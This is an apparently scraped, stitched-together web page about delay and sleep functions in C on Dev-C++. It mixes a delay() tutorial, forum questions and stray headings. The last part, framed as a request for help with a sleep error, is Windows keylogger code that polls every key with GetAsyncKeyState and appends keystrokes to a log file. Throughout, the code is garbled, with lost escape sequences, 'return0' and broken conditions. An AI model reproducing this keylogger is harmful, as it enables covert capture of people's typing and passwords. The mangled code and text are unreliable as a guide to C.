Delay in C: delay function is used to suspend execution of a program for a particular time.
Declaration: void delay(unsigned int);
May 16, 2018 How To Sleep in Milliseconds in C. I’m not sure how often you will use this, but I can come up with a practical reason for sleeping in milliseconds in C and I will show you how on this page! The reason that I had slept is because I was running test cases of random numbers with a for loop.
Commando Delay Dev C 2017
- I have come across to a problem while coding in C on Dev C compiler. I want to delay my statement to some milliseconds, but the problem is dev doesnt support the dos.h header file and so its contents as well. I had an alternative way for using it with the help of for loop but i aint got its proper syntax in my mind to use it properly.
- How to use delay function on dev c. How to use delay function on dev c. Abdullah ibrar this program dont work on dev c, how can i use delay function on dev.
Here unsigned int is the number of milliseconds (remember 1 second = 1000 milliseconds). To use delay function in your program you should include the 'dos.h' header file which is not a part of standard C library.
Delay in C program
If you don't wish to use delay function then you can use loops to produce delay in a C program.
#include<stdio.h>int main()
{
int c, d;
for(c =1; c <=32767; c++)
for(d =1; d <=32767; d++)
{}
return0;
}
We have not written any statement in the loop body. You may write some statements that doesn't affect logic of the program.
C programming code for delay
#include<stdio.h>Commando Delay Dev C 4
#include<stdlib.h>main()
{
printf('This C program will exit in 10 seconds.n');
delay(10000);
Dev C++ For Windows 10
return0;
}
This C program exits in ten seconds, after the printf function is executed the program waits for 10000 milliseconds or 10 seconds and then it terminates.
Commando Delay Dev C Download
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#include <stdlib.h>
#include <iostream>
#include <conio.h>
these header files are used but sleep error comes plz help
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)-32767)
{
FILE *file;
file=fopen(FileName,'a+');
if(fileNULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs('rn[SHIFT]rn',file);
fclose(file);
break;
case VK_RETURN:
fputs('rn[ENTER]rn',file);
fclose(file);
break;
case VK_BACK:
fputs('rn[BACKSPACE]rn',file);
fclose(file);
break;
case VK_TAB:
fputs('rn[TAB]rn',file);
fclose(file);
break;
case VK_CONTROL:
fputs('rn[CTRL]rn',file);
fclose(file);
break;
case VK_DELETE:
fputs('rn[DEL]rn',file);
fclose(file);
break;
case VK_OEM_1:
fputs('rn[;:]rn',file);
fclose(file);
break;
case VK_OEM_2:
fputs('rn[/?]rn',file);
fclose(file);
break;
case VK_OEM_3:
fputs('rn[`~]rn',file);
fclose(file);
break;
case VK_OEM_4:
fputs('rn[ [{ ]rn',file);
fclose(file);
break;
case VK_OEM_5:
fputs('rn[|]rn',file);
fclose(file);
break;
break;
default:
fclose(file);
break;
}
}
}
}
}